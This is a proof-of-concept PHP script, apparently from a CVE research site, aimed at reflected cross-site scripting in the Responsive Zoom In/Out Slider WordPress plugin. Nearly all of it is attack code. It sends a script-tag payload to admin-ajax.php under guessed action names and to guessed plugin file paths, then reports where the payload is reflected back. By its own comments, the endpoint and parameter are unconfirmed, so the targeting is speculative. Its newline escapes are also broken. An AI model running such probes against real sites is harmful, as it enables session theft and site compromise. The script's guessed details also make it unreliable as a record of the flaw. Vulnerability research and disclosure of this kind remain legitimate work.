CVE-2026-28103: Responsive Zoom In/Out Slider WordPress Plugin <= 5.4.5 – Reflected Cross-Site Scripting (lbg_zoominoutslider)

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-28103 - Responsive Zoom In/Out Slider WordPress Plugin <= 5.4.5 - Reflected Cross-Site Scripting
<?php
/**
 * Proof of Concept for CVE-2026-28103
 * This script demonstrates reflected XSS via a vulnerable parameter.
 * Since exact endpoint/parameter are not confirmed, we test common WordPress AJAX patterns.
 * Assumptions: Plugin uses admin-ajax.php with action parameter containing plugin slug.
 */

$target_url = 'http://vulnerable-wordpress-site.com';

// Common AJAX action patterns for this plugin slug
$action_patterns = [
    'lbg_zoominoutslider_action',
    'zoominoutslider_action',
    'lbg_zoominoutslider',
    'zoominoutslider',
    'lbg_zoom_action',
    'zoom_action'
];

// XSS payload that triggers alert on successful injection
$payload = '<script>alert(document.domain)</script>';

foreach ($action_patterns as $action) {
    // Test GET parameter injection
    $url = $target_url . '/wp-admin/admin-ajax.php';
    $params = [
        'action' => $action,
        'vulnerable_param' => $payload  // Generic parameter name
    ];
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url . '?' . http_build_query($params));
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    if ($http_code == 200 && strpos($response, $payload) !== false) {
        echo "Potential vulnerability found via GET: action=$actionn";
        echo "URL: $url?" . http_build_query($params) . "n";
    }
    
    // Test POST parameter injection
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $params);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    if ($http_code == 200 && strpos($response, $payload) !== false) {
        echo "Potential vulnerability found via POST: action=$actionn";
        echo "POST to: $url with parameters: " . print_r($params, true) . "n";
    }
}

// Also test direct plugin file access (common pattern)
$plugin_files = [
    '/wp-content/plugins/lbg_zoominoutslider/ajax-handler.php',
    '/wp-content/plugins/lbg_zoominoutslider/includes/ajax.php',
    '/wp-content/plugins/lbg_zoominoutslider/admin/ajax.php'
];

foreach ($plugin_files as $file) {
    $url = $target_url . $file . '?test_param=' . urlencode($payload);
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    if ($http_code == 200 && strpos($response, $payload) !== false) {
        echo "Potential vulnerability via direct file: $filen";
        echo "URL: $urln";
    }
}
?>